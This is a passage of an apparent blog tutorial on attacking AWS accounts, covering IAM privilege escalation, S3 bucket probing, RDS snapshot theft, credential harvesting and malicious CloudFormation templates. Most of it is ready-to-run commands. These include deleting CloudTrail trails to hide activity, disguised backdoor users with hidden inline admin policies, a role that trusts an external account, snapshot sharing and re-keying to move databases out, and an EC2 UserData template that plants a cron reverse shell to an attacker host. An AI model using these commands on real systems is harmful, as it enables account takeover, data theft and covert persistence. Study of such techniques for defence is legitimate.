That’s really all there is to it. If you want to go a little further, the following two commands can help confirm whether the account you’re checking has the create-access-key permission.

1
2


aws iam list-attached-user-policies --user-name <target-user>
aws iam list-user-policies --user-name <target-user>

Looking at these commands, you may wonder: since <target-user> is a variable, can we generate an access key for someone else? The answer is yes, but you need the following permissions.

iam:CreateAccessKey + iam:UpdateUser

With both permissions, you can specify any user you want. AWS even allows iam:UpdateUser, so you can also change another user’s password.

1

aws iam update-login-profile --user-name admin --password "NewSuperSecurePassword" --password-reset-required

Let’s see whether an administrator account can generate another access key for the test account we just created.

No problem. Administrator privileges are as powerful as ever.

Additional Notes

One more point about persistence: when you generate an access key, it will definitely be recorded in the logs. Deleting the trail here can help maintain persistence. Of course, this requires CloudTrail permissions.

AWS CloudTrail records iam:CreateAccessKey events. It is recommended to delete the CloudTrail logs after the attack:

1

aws cloudtrail delete-trail --name default-trail

Stop CloudTrail logging (stealthier, but riskier):

1

aws cloudtrail stop-logging --name default-trail

Create multiple Access Keys (a user can have at most 2 Access Keys):

1

aws iam create-access-key --user-name <target-user>

Create a hidden user (if you have the iam:CreateUser permission):

1
2


aws iam create-user --user-name backdoor-user
aws iam create-access-key --user-name backdoor-user

Give the new Access Key higher privileges:

1

aws iam attach-user-policy --user-name <target-user> --policy-arn arn:aws:iam::aws:policy/Admin

Additional IAM Penetration Techniques

According to the outline, we’ve finished the four main sections. There are still a few IAM permission-based penetration techniques left, though. They aren’t difficult, so I’m including them as a supplement. There is no need to set up another environment. If you’ve mastered the four sections above, remembering the commands below should be enough to understand how they work.

`iam:CreateUser` (Creating a New IAM User)

Concept

Purpose: Allows the creation of new IAM users and can be used as a persistent backdoor.
Risk: An attacker can create a new administrator account. Even if an administrator deletes the other credentials, the attacker can still access AWS.

Create a new IAM user

1

aws iam create-user --user-name backdoor-user

Example response:

1
2
3
4
5
6
7
8
9


{
 "User": {
 "Path": "/",
 "UserName": "backdoor-user",
 "UserId": "AIDAEXAMPLE",
 "Arn": "arn:aws:iam::123456789012:user/backdoor-user",
 "CreateDate": "2025-03-06T12:34:56Z"
 }
}

(2) Create an Access Key for the new user

1

aws iam create-access-key --user-name backdoor-user

Response:

1
2
3
4
5
6
7
8
9


{
 "AccessKey": {
 "UserName": "backdoor-user",
 "AccessKeyId": "AKIAEXAMPLE",
 "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
 "Status": "Active",
 "CreateDate": "2025-03-06T12:34:56Z"
 }
}

(3) Attach a highly privileged role (if iam:PassRole is also allowed)

1

aws iam attach-user-policy --user-name backdoor-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

(4) Log in to AWS with the new Access Key

1
2


aws configure set aws_access_key_id AKIAEXAMPLE
aws configure set aws_secret_access_key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

Then test the permissions:

1

aws sts get-caller-identity

If it returns:

1
2
3
4
5


{
 "UserId": "AIDAEXAMPLE",
 "Account": "123456789012",
 "Arn": "arn:aws:iam::123456789012:user/backdoor-user"
}

`iam:AttachUserPolicy` (Attaching a High-Privilege Policy to a Low-Privilege User)

Concept

Purpose: Allows a new permission policy to be attached to an existing IAM user, such as turning a low-privilege user into an administrator.
Risk: An attacker can find an existing IAM user, quietly attach AdministratorAccess to it, and then use that account to perform high-privilege operations.

(1) List all users in the current AWS account

1

aws iam list-users

Example response:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


{
 "Users": [
 {
 "UserName": "developer",
 "Arn": "arn:aws:iam::123456789012:user/developer"
 },
 {
 "UserName": "test-user",
 "Arn": "arn:aws:iam::123456789012:user/test-user"
 }
 ]
}

(2) Attach AdministratorAccess to developer

1

aws iam attach-user-policy --user-name developer --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

(3) Verify whether developer has obtained elevated privileges

1

aws iam list-attached-user-policies --user-name developer

Response:

1
2
3
4
5
6
7
8


{
 "AttachedPolicies": [
 {
 "PolicyName": "AdministratorAccess",
 "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
 }
 ]
}

Now developer is an administrator.

To briefly sum up the permissions in these two sections: creating a user is about persistence, while granting permissions is about privilege escalation. If you look closely, the two overlap. The idea itself is easy enough to understand. The main point worth discussing is iam:AttachUserPolicy: if you have this permission, can you elevate any role or user? The answer depends on the exact configuration. If you’re interested, try experimenting with inline policies. Below are an unrestricted policy, which can attach any managed policy, and a restricted policy, which can attach only the specified policy.

Abusable policy

1
2
3
4
5
6
7
8


{
 "Effect": "Allow",
 "Action": [
 "iam:CreateUser",
 "iam:AttachUserPolicy"
 ],
 "Resource": "*"
}

Restricted policy

1
2
3
4
5


{
 "Effect": "Allow",
 "Action": "iam:AttachUserPolicy",
 "Resource": "arn:aws:iam::aws:policy/ReadOnlyAccess"
}

Closing Thoughts on IAM Penetration Testing

At this point, I’ve worked through most of the hands-on IAM penetration testing material. This section took a huge amount of time. There were only six policies, but they involved a lot of architectural concepts that took a long time to understand. It isn’t just a matter of understanding each policy in isolation; you need a deep understanding of how they interact. Overall, it was pretty interesting, just very complicated—and the reason it is so complicated is that the architecture is so well designed, with every part closely connected to the next.

Storage Service (S3) Attack Surface

S3 Bucket Enumeration

Access Control for S3 Buckets

In AWS S3, access to a bucket is controlled by two main mechanisms:

S3 bucket policy (Bucket Policy):

Determines which users or accounts can access the bucket (s3:ListBucket, s3:GetObject).
It may contain "Principal": "*", leaving the bucket open to everyone.

Access Control List (ACL):

A legacy permissions management method that allows specific AWS accounts or anonymous users to access a bucket or its objects.
READ permission can allow external users to list the directory (ListBucket).
WRITE permission can allow an attacker to upload malicious files.

📌 Vulnerabilities:

Incorrect bucket policy: If Principal: * is combined with Action: "s3:ListBucket", an attacker can list every file.
ACL misconfiguration: If READ permission is open to Everyone, an attacker can read the files.

S3 Bucket Enumeration Methods

There is not much of an environment to set up here. The idea is very simple: the bucket lets you interact with it without authentication. How far you can go depends on which permissions were mistakenly granted. It will make sense once we try it in practice.

There are two approaches: tool-based probing and manual verification.

Manual Verification

(1) Test whether the bucket allows directory listing (s3:ListBucket**) **

1

aws s3 ls s3://bucket-name --no-sign-request

Explanation:

--no-sign-request: Used for anonymous access (without AWS credentials).
If the command succeeds, the bucket allows s3:ListBucket, and you can see every file in it:

1
2


2024-03-06 12:00:00 450K secrets.txt
2024-03-06 12:01:00 2.3M backup.zip

(2) Test whether files can be downloaded (s3:GetObject**) **

1

aws s3 cp s3://bucket-name/secrets.txt . --no-sign-request

Explanation:

If the download succeeds, the bucket allows anonymous users to read files (s3:GetObject).

(3) Use curl** to test whether an S3 bucket is open**

An AWS S3 object URL usually has this format:

1

https://bucket-name.s3.amazonaws.com/file.txt

You can test it directly with curl:

1

curl -I https://bucket-name.s3.amazonaws.com/secrets.txt

📌Interpreting the response:

200 OK: The file can be accessed anonymously.
403 Forbidden: Authentication is required, so the file cannot be accessed directly.
404 Not Found: The file does not exist, or the bucket itself is private.

Tool-Based Probing

(1) Use s3scanner** to scan buckets**

s3scanner is a tool designed specifically to check whether S3 buckets are open.

1
2
3


git clone https://github.com/sa7mon/S3Scanner.git
cd S3Scanner
pip3 install -r requirements.txt

Check whether a specific bucket is public

1

python3 s3scanner.py bucket-name

Scan multiple buckets

1

python3 s3scanner.py -l bucket-list.txt

Common results:

[+] Public Read: Anyone can read the bucket.
[+] Public Write: Anyone can write to the bucket (including uploading files).
[+] Public List: Anyone can list the files in the bucket.

(2) Use bucket-stream** for real-time bucket discovery**

bucket-stream monitors public log streams to discover possible AWS bucket names in real time.

1
2
3


git clone https://github.com/eth0izzle/bucket-stream.git
cd bucket-stream
python3 bucket-stream.py

What this tool does:

Monitors AWS access logs and extracts possible bucket names.
Useful for finding new AWS assets (for example, an exposed bucket belonging to a company).

Bypassing Bucket Policies

This section builds on the enumeration section above. Enumeration only showed what you can do; this part explains why it works.

Incorrect Bucket Policy: Cross-Account Access Vulnerability

S3 bucket policies usually use the "Principal" field to specify who can access the bucket. If it is set to "Principal": "*", anyone can access that bucket, potentially causing a data leak.

Example of an incorrect policy

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


{
 "Version": "2012-10-17",
 "Statement": [
 {
 "Effect": "Allow",
 "Principal": "*",
 "Action": ["s3:ListBucket", "s3:GetObject"],
 "Resource": "arn:aws:s3:::vulnerable-bucket/*"
 }
 ]
}

Anyone can read the data in the bucket! This explains what we saw in the previous section: why we can list, download, and upload files in the bucket.

(1) Test whether the bucket contents can be listed

1

aws s3 ls s3://vulnerable-bucket --no-sign-request

If it returns a file list, the bucket’s s3:ListBucket** permission has mistakenly been left open!**

(2) Test whether files can be downloaded

1

aws s3 cp s3://vulnerable-bucket/secrets.txt . --no-sign-request

If the download succeeds, the s3:GetObject** permission has mistakenly been left open!**

(3) Test whether files can be uploaded

If s3:PutObject has also been left open, an attacker can upload malicious files:

1
2


echo "Malicious File" > malware.txt
aws s3 cp malware.txt s3://vulnerable-bucket/malware.txt --no-sign-request

If the upload succeeds, the bucket also allows write access!

Presigned URL Hijacking

AWS lets you create a presigned URL, which is a temporary authorization URL that allows users to access objects in an S3 bucket even when the bucket itself is private.

Presigned URL example

1

aws s3 presign s3://private-bucket/secret.txt

This command generates a URL that allows access to secret.txt for a short time.
The URL may look like this:

1

https://private-bucket.s3.amazonaws.com/secret.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credent

Attack method

If an attacker obtains this presigned URL (through logs, the browser console, leaked code, and so on), they can download the file even if the S3 bucket is private!

(1) Find presigned URLs

Search the frontend code of a web application:

Open the browser’s F12 developer tools and search for "s3.amazonaws.com"

Search log files

1

grep -i "amazonaws.com" /var/log/*.log

Search Git repositories

1

git grep "s3.amazonaws.com"

(2) Test whether the file can be accessed

1

curl -I "https://private-bucket.s3.amazonaws.com/secret.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=..."

If it returns 200 OK, the presigned URL is still valid and the attacker can download the file:

1

curl -o stolen-secret.txt "https://private-bucket.s3.amazonaws.com/secret.txt?X-Amz-Algorithm=..."

Both of these techniques depend on misconfiguration. The attacker has to find those mistakes, but the underlying ideas are simple and easy to understand.

Data Exfiltration and Persistence

Downloading Sensitive Files from S3

Goal:

Go beyond simply enumerating buckets and pinpoint sensitive files (database backups, configuration files, logs, etc.).
Even if the bucket itself is restricted, files with misconfigured ACLs may still be downloaded directly!

Common types of sensitive files:

backup.zip / db-dump.sql (database backups)
config.json / .env (API keys & configuration files)
access.log / debug.log (log files that may contain AWS keys)

Test whether a known sensitive file can be downloaded

1

aws s3 cp s3://target-bucket/backup.zip . --no-sign-request

If the file can be downloaded: the ACL for backup.zip is misconfigured.
If it returns 403 Forbidden: s3:GetObject is denied.

Use s3scanner to automatically scan for sensitive files

Install s3scanner

1
2
3


git clone https://github.com/sa7mon/S3Scanner.git
cd S3Scanner
pip3 install -r requirements.txt

📌 Use s3scanner to scan for sensitive files in a bucket

1

python3 s3scanner.py --bucket target-bucket --wordlist sensitive-files.txt

wordlist.txt may contain:

1
2
3
4
5
6


backup.zip
config.json
.env
db-dump.sql
access.log
error.log

If brute forcing produces a 200 response, the file can be downloaded. Although this is somewhat similar to the previous method, the logic is different: this one is essentially brute forcing.

Stealing RDS Database Snapshots

Exploit an AWS RDS misconfiguration to create a database snapshot and share it with an attacker’s account, thereby obtaining the database data.

Amazon RDS (Relational Database Service) supports creating snapshots (Snapshot) for backing up and restoring databases.

RDS snapshots can be shared (modify-db-snapshot-attribute). If this is misconfigured, an attacker can steal the database data.
Even without direct access to RDS, an attacker can still steal the database through a snapshot-sharing vulnerability.

1. Check Whether an RDS Snapshot Can Be Created

If an attacker gains access to an AWS account, they can try to create an RDS snapshot:

1

aws rds create-db-snapshot --db-instance-identifier victim-db --db-snapshot-identifier stolen-snapshot

Explanation:

--db-instance-identifier victim-db: the target RDS instance.
--db-snapshot-identifier stolen-snapshot: creates the stolen-snapshot snapshot.

If the command succeeds, it means the current identity has the rds:CreateDBSnapshot permission and can create snapshots.

2. View RDS Snapshots in the Current Account

If the attacker cannot create a snapshot, they can try to find existing snapshots:

1

aws rds describe-db-snapshots

Example response:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


{
 "DBSnapshots": [
 {
 "DBSnapshotIdentifier": "prod-db-snapshot",
 "DBInstanceIdentifier": "victim-db",
 "Status": "available",
 "SnapshotCreateTime": "2024-03-06T12:00:00Z"
 }
 ]
}

If a snapshot exists, the attacker can try to share it!

If the snapshot policy is misconfigured, the attacker can share it with their own AWS account:

1
2
3
4
5
6


aws rds modify-db-snapshot-attribute \
 --db-snapshot-identifier prod-db-snapshot \
 --attribute-name restore \
 --values-to-add ATTACKER_AWS_ACCOUNT_ID

aws rds modify-db-snapshot-attribute --db-snapshot-identifier prod-db-snapshot --attribute-name restore --values-to-add ATTACKER_AWS_ACCOUNT_ID

Explanation:

--db-snapshot-identifier prod-db-snapshot: the snapshot to share.
--attribute-name restore: modifies the snapshot’s “restore” attribute, allowing other accounts to restore the snapshot.
--values-to-add: adds the attacker’s AWS account ID so that it can access the snapshot.

If the command succeeds, the attacker can access the snapshot from their own AWS account!

4. Restore RDS in the Attacker’s Account

The attacker signs in to their own AWS account and restores the snapshot:

1
2
3


aws rds restore-db-instance-from-db-snapshot \
 --db-instance-identifier stolen-db \
 --db-snapshot-identifier prod-db-snapshot

If this succeeds, the attacker now has a complete copy of the database!

5. Copy RDS to Remove the Original Encryption (More Complex)

Step 4 lets you restore RDS in the attacker’s account, but only if the snapshot is unencrypted. If it is encrypted, it cannot be moved to the attacker’s account. Copies are also encrypted by default, and you cannot simply leave the encryption setting blank while making the copy. However, we can create a new KMS key and replace the original encryption during the copy process, giving us control over the KMS key.

Create a New KMS Key

If you do not have a suitable KMS key, you need to create a new one manually:

1

aws kms create-key --description "My RDS Key"

Then retrieve the KeyId:

1

aws kms list-keys

Response:

1
2
3
4
5
6
7


{
 "Keys": [
 {
 "KeyId": "abcd1234-5678-efgh-ijkl-9876543210mn"
 }
 ]
}

Copy the Snapshot Using the New KMS Key

You need to copy the snapshot using the newly created KMS key:

1
2
3
4
5
6


aws rds copy-db-snapshot \
 --source-db-snapshot-identifier database-1-snapshot \
 --target-db-snapshot-identifier new-snapshot \
 --kms-key-id abcd1234-5678-efgh-ijkl-9876543210mn

aws rds copy-db-snapshot --source-db-snapshot-identifier database-1-snapshot --target-db-snapshot-identifier new-snapshot --kms-key-id abcd1234-5678-efgh-ijkl-9876543210mn

This way, new-snapshot is still encrypted, but it uses a KMS key that you control!

Allow the Target Account to Access This KMS Key

You need to allow the target AWS account to access this KMS key:

1
2
3
4
5
6


aws kms create-grant \
 --key-id abcd1234-5678-efgh-ijkl-9876543210mn \
 --grantee-principal arn:aws:iam::650*******:root \
 --operations Decrypt

aws kms create-grant --key-id abcd1234-5678-efgh-ijkl-9876543210mn --grantee-principal arn:aws:iam::650*******:root --operations Decrypt

This allows the 650 account to decrypt new-snapshot!

1
2
3
4
5
6


aws rds modify-db-snapshot-attribute \
 --db-snapshot-identifier new-snapshot \
 --attribute-name restore \
 --values-to-add 6502*******

aws rds modify-db-snapshot-attribute --db-snapshot-identifier new-snapshot1 --attribute-name restore --values-to-add 6502*******

The last step is a little complicated, so let’s try it in practice. As shown below:

Generally, steps 1–4 are enough. Step 5 can be used when the target has particularly strict encryption, but it is fairly troublesome. Usually, steps 1–4 are already enough to transfer the snapshot to the attacker, so there is no need for the extra step. That is also why I put it fifth. If encryption prevents the snapshot from being shared, you can add step 5.

Creating a Backdoor User (Stealthy Backdoor Technique)

Create a hidden backdoor user in an AWS account to maintain persistent access. Even if an administrator spots an unusual login and deletes the regular IAM account, the attacker can still retain control of the AWS account.

Steps for Creating a Backdoor User

1. Create a Discreet IAM User

1

aws iam create-user --user-name support-user

Strategy:

Use AWS-style names (such as aws-support or backup-user) to draw less attention from administrators.
Blend it into the existing user list so administrators are less likely to notice it.

2. Create an Access Key for the User

1

aws iam create-access-key --user-name support-user

Example output:

1
2
3
4
5
6
7
8


{
 "AccessKey": {
 "UserName": "support-user",
 "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
 "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
 "Status": "Active"
 }
}

The access key can be used for AWS CLI/API calls. Even if an administrator removes the user’s console login access, remote access still works!

3. Give the User Discreet Administrator Permissions

If the attacker attaches AdministratorAccess directly, it is easy to spot:

1
2
3


aws iam attach-user-policy \
 --user-name support-user \
 --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

A way around detection: use an inline policy!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


aws iam put-user-policy \
 --user-name support-user \
 --policy-name HiddenAdminPolicy \
 --policy-document '{
 "Version": "2012-10-17",
 "Statement": [
 {
 "Effect": "Allow",
 "Action": "*",
 "Resource": "*"
 }
 ]
 }'

aws iam put-user-policy --user-name support-user --policy-name HiddenAdminPolicy --policy-document "{\"Version\": \"2012-10-17\",\"Statement\": [{\"Effect\": \"Allow\",\"Action\": \"*\",\"Resource\": \"*\"}]}"

Hide administrator permissions (without directly attaching AdministratorAccess)

The difference:

Policies attached with attach-user-policy can be viewed directly through list-attached-user-policies, making them easy to spot:

1

aws iam list-attached-user-policies --user-name support-user

By contrast, put-user-policy** creates an inline policy, which does not appear in** list-attached-user-policies** by default!**

1

aws iam list-user-policies --user-name support-user

It only shows up after a deeper check with get-user-policy:

1

aws iam get-user-policy --user-name support-user --policy-name HiddenAdminPolicy

This means that even if an administrator runs list-attached-user-policies, they will not see anything unusual about the permissions.

4. Hide the User Further

Administrators usually review active IAM users regularly. An attacker can use iam:UpdateLoginProfile to disable password-based login for the user, making it look like a “harmless” API account (if this returns an error, the user did not have login access in the first place, so there is nothing to disable):

1

aws iam update-login-profile --user-name support-user --password-reset-required

Result:

This user cannot log in through the AWS Management Console, but can still use its access key through the API/CLI to control the AWS account!
If an administrator only checks users with web login access, they may not notice that this “backdoor user” still exists!

Shadow Account Technique

The previous technique targeted users; this one targets IAM roles.

A shadow account (Shadow User) is an even stealthier backdoor technique. The key ideas are:

Create an IAM user that will not appear in list-users
Use AWS resource trust relationships so the attacker can access AWS under that account’s identity

The basic idea behind creating a shadow account

Create an IAM role and allow an external account to access it

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39


aws iam create-role --role-name backup-support-role --assume-role-policy-document '{
 "Version": "2012-10-17",
 "Statement": [
 {
 "Effect": "Allow",
 "Principal": {
 "AWS": "65025******"
 },
 "Action": "sts:AssumeRole"
 }
 ]
}'

aws iam put-role-policy --role-name backup-support-role --policy-name ShadowUserMinimal --policy-document '{
 "Version": "2012-10-17",
 "Statement": [
 {
 "Effect": "Allow",
 "Action": [
 "iam:CreateUser",
 "iam:CreateAccessKey",
 "iam:ListUsers",
 "iam:GetUser",
 "iam:ListAttachedUserPolicies",
 "iam:ListUserPolicies",
 "iam:GetUserPolicy",
 "iam:AttachUserPolicy",
 "iam:PutUserPolicy",
 "s3:ListAllMyBuckets",
 "s3:ListBucket",
 "s3:GetObject"
 ],
 "Resource": "*"
 }
 ]
}'

aws iam create-role --role-name backup-support-role --assume-role-policy-document "{\"Version\": \"2012-10-17\",\"Statement\": [{\"Effect\": \"Allow\",\"Principal\":{ \"AWS\": \"65025******\"},\"Action\": \"sts:AssumeRole\" }]}"
aws iam put-role-policy --role-name backup-support-role --policy-name ShadowUserMinimal --policy-document "{ \"Version\": \"2012-10-17\", \"Statement\": [ { \"Effect\": \"Allow\", \"Action\": [ \"iam:CreateUser\", \"iam:CreateAccessKey\", \"iam:ListUsers\", \"iam:GetUser\", \"iam:ListAttachedUserPolicies\", \"iam:ListUserPolicies\", \"iam:GetUserPolicy\", \"iam:AttachUserPolicy\", \"iam:PutUserPolicy\", \"s3:ListAllMyBuckets\", \"s3:ListBucket\", \"s3:GetObject\" ], \"Resource\": \"*\" } ] }"

Result:

The 65025** account can access this role at any time through** sts:AssumeRole, and administrators will not see this backdoor in list-users!
Even if an administrator deletes the IAM user created by the attacker, the attacker can still use AssumeRole** to access AWS!**

This is pretty interesting.

In practice, it simply creates a highly privileged IAM role and configures it to trust an external AWS account ID. That external account can then obtain credentials for the role anytime, from anywhere.

Advanced Attack Techniques

AWS CLI Credential Leaks

Objective: Learn where AWS CLI credentials are stored, the common ways they get leaked, and how leaked AWS access credentials can be used to take control of an AWS account.

Where AWS CLI Credentials Are Stored

By default, AWS CLI access credentials are stored in the ~/.aws/credentials and ~/.aws/config files under the user’s home directory:

1

cat ~/.aws/credentials

Windows path:

1

type C:\Users\USERNAME\.aws\credentials

Example contents:

1
2
3


[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

If an attacker can access this file, they can take full control of the AWS account.

Common Ways AWS CLI Credentials Get Leaked

1. Leaks in Source Code

Developers often hard-code AWS credentials directly into their code:

1
2
3
4
5
6


import boto3

aws_access_key_id = "AKIAIOSFODNN7EXAMPLE"
aws_secret_access_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

s3 = boto3.client("s3", aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key)

If the code is uploaded to GitHub or another code repository, attackers can discover the AWS credentials through GitHub Dorking.

1

github.com search: "aws_access_key_id filetype:env"

Mitigations:

Use AWS IAM roles instead of exposing an Access Key directly.
Enable GitHub Secret Scanning to detect leaked AWS keys.

2. Leaks in Logs

AWS keys can accidentally end up in log files. For example:

1

cat /var/log/syslog | grep "aws_access_key_id"

Mitigations:

Do not write sensitive information to logs.
Use AWS Secrets Manager instead of plaintext keys.

3. Shell History

If a developer runs AWS CLI commands directly in a terminal:

1
2


aws configure set aws_access_key_id AKIAIOSFODNN7EXAMPLE
aws configure set aws_secret_access_key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

An attacker can retrieve the AWS keys from history:

1

history | grep aws

Mitigations:

Run history -c to clear the command history.
Use export AWS_ACCESS_KEY_ID instead of aws configure to avoid storing credentials in configuration files.

4. Environment Variable Leaks

Some servers may store AWS access credentials in environment variables:

1
2


echo $AWS_ACCESS_KEY_ID
echo $AWS_SECRET_ACCESS_KEY

If an attacker gains shell access to the server, they can easily steal the AWS credentials.

Mitigations:

Use IAM roles instead of storing static keys.
Configure AWS_SESSION_TOKEN so credentials are short-lived, reducing the risk of long-term exposure.

5. Attacking the AWS Instance Metadata Service (IMDS)

On EC2 instances, AWS stores IAM role credentials in IMDS (the Instance Metadata Service):

1

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

Attack steps:

Run the following on a compromised EC2 instance:

1
2


curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>

Retrieve the access keys:

1
2
3
4
5


{
 "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
 "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
 "Token": "FQoGZXIvYXdzEBIaDE5QTkFERV9TRVJWSUNFE..."
}

Mitigations:

Enable IMDSv2 to prevent SSRF attacks:

1

aws ec2 modify-instance-metadata-options --instance-id i-xxxxxxxxxx --http-tokens required

Block unauthorized users from accessing 169.254.169.254

1

iptables -A OUTPUT -d 169.254.169.254 -j DROP

Exploiting Leaked AWS CLI Credentials

Check Whether the Credentials Are Valid

Once you obtain an AWS access key, the first step is to check whether it is valid:

1

aws sts get-caller-identity --access-key AKIAIOSFODNN7EXAMPLE --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

If the credentials are valid, the command returns information like this:

1
2
3
4
5


{
 "UserId": "AIDAJQABLZS4A3QDU576Q",
 "Account": "650251703094",
 "Arn": "arn:aws:iam::650251703094:user/victim-user"
}

Now you know the AWS account ID and username!

Enumerate Permissions in the AWS Account

1
2


aws iam list-attached-user-policies --user-name victim-user
aws iam list-user-policies --user-name victim-user

If the account has highly privileged policies, you can perform administrator-level operations.

Escalate Privileges to Administrator

If the credentials have limited permissions, you can try abusing iam:PassRole or sts:AssumeRole:

1

aws sts assume-role --role-arn arn:aws:iam::650251703094:role/AdminRole --role-session-name AdminSession

If sts:AssumeRole succeeds, you can gain administrator privileges!

Establish Persistent Backdoor Access

1
2
3


aws iam create-user --user-name attacker-user
aws iam create-access-key --user-name attacker-user
aws iam attach-user-policy --user-name attacker-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Even if the original credentials are revoked, you can still access AWS through attacker-user.

Summary of AWS CLI Credential Leaks

Everything above is pretty common, so I have not gone into too much detail. It should all be fairly easy to follow. Most of it is basic Linux knowledge, and the rest is material we covered earlier.

Malicious CloudFormation Templates

I never covered this in the basics, so this is a good chance to take a look.

Objective: Use AWS CloudFormation to deploy malicious templates that create backdoor users, modify existing IAM permissions, or even execute remote code in a victim’s AWS account.

AWS CloudFormation lets users automatically create and manage AWS resources through YAML/JSON templatesxxxx, such as:

Creating IAM roles, S3 buckets, EC2 instances, and more.+ Automatically configuring VPCs, Lambda functions, DynamoDB, and so on.

An attacker can use CloudFormation to deploy malicious AWS resources and bypass traditional permission checks!

This is extremely dangerous, and it is also a little complicated, so here is the short version. If a role/user has full CloudFormation permissions, that is effectively the same as having permission to create/modify any AWS resource, meaning they can take control of the entire AWS environment. CloudFormation is somewhat similar to Lambda—only somewhat—in that both control AWS resources by uploading something. CloudFormation uploads templates, though, and unlike Lambda, which checks the permissions attached to its role to determine whether it can call an AWS resource, a CloudFormation template can directly call AWS resources including EC2, Lambda, IAM, S3, and so on. For example, everyone knows that calling IAM can create users/roles and grant permissions, but normally your own permissions also need to be sufficiently high. That restriction does not apply here: you only need permission to use CloudFormation itself. You can then create an IAM role/user with administrator privileges or even directly trust another AWS account. That is roughly how it works.

Below, I will build templates for several of these services. For now, I will just use templates that are already written instead of learning how to write them; I will study that later together with Lambda.

Ways to attack with malicious CloudFormation templates →

1. Create a Hidden IAM Backdoor User

An attacker can use CloudFormation to create a hidden IAM user and attach administrator permissions:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


AWSTemplateFormatVersion: '2010-09-09'
Resources:
 BackdoorUser:
 Type: AWS::IAM::User
 Properties:
 UserName: "aws-support-bot"
 BackdoorAccessKey:
 Type: AWS::IAM::AccessKey
 Properties:
 UserName: !Ref BackdoorUser
 BackdoorPolicy:
 Type: AWS::IAM::Policy
 Properties:
 PolicyName: "HiddenAdminPolicy"
 Users:
 - !Ref BackdoorUser
 PolicyDocument:
 Version: '2012-10-17'
 Statement:
 - Effect: Allow
 Action: "*"
 Resource: "*"

Outputs:
 AccessKey:
 Value: !Ref BackdoorAccessKey
 Description: "IAM Access Key"
 SecretKey:
 Value: !GetAtt BackdoorAccessKey.SecretAccessKey
 Description: "IAM Secret Key"

How to run it

1

aws cloudformation create-stack --stack-name BackdoorStack --template-body file://backdoor.yaml --capabilities CAPABILITY_NAMED_IAM

Result

Creates the aws-support-bot** user (which looks like an official AWS service account).**
Assigns access keys that the attacker can use directly with aws_access_key_id** to log in through the AWS CLI.**
Attaches the administrator policy *:*, granting the highest level of access!

So where are the keys? They are already defined in the code above and will be stored in Output, neatly solving the problem of not being able to retrieve them when nothing is returned.

This example alone is enough to obtain full permissions. The third template, which uses an IAM role, can also obtain full permissions, but I mainly want to discuss the one below—the second method.

2. Inject a Reverse Shell into EC2 `UserData`

An attacker can use CloudFormation to execute malicious commands when an EC2 instance starts—for example, obtaining a reverse shell through the UserData** field:**

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


AWSTemplateFormatVersion: '2010-09-09'
Resources:
 MaliciousEC2:
 Type: AWS::EC2::Instance
 Properties:
 ImageId: "ami-12345678"
 InstanceType: "t2.micro"
 UserData:
 Fn::Base64: |
 #!/bin/bash
 echo "*/2 * * * * root bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1" >> /etc/crontab
 systemctl restart cron

How to run it

1

aws cloudformation create-stack --stack-name EC2Backdoor --template-body file://malicious-ec2.yaml

Result

CloudFormation deploys an EC2 instance and executes the reverse shell from its UserData.
After the EC2 instance starts, it automatically connects to the attacker’s server, establishing persistent remote access.

The purpose here is to run the bash command that follows every two minutes to get a reverse shell. The main point to pay attention to is the ImageId above. It corresponds to an AMI ID, which may sound a little abstract, so I will explain it separately.

Find the relevant AMI ID. What it needs is a template, but why does it have to be a template? The idea is that it creates and runs a new EC2 instance for you. Since it does not know what kind of instance you want, it needs a template ID. You can think of it as the ID of an image. That ID is fixed: whichever one you choose determines which system it creates and starts. The screenshot above shows many systems, so just choose one of their IDs and enter it. Note that this does not modify an existing EC2 instance. Instead, it selects a system—one of the built-in systems—creates it for you with the defaults, starts it, and then runs the commands written in your template. Our command writes a cron job, so it runs when the machine starts. That is all there is to it. Honestly, it feels a bit half-baked to me, but it does demonstrate just how dangerous CloudFormation permissions can be.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


AWSTemplateFormatVersion: '2010-09-09'
Resources:
 MaliciousEC2:
 Type: AWS::EC2::Instance
 Properties:
 ImageId: "ami-0ef0a3b4303b17ec5"
 InstanceType: "t2.micro"
 UserData:
 Fn::Base64: |
 #!/bin/bash
 echo "*/2 * * * * root bash -i >& /dev/tcp/192.***.***.***/53 0>&1" >> /etc/crontab
 systemctl restart cron

That is my template above, filled in and ready to go.

3. Create an IAM Role and Allow the Attacker to AssumeRole

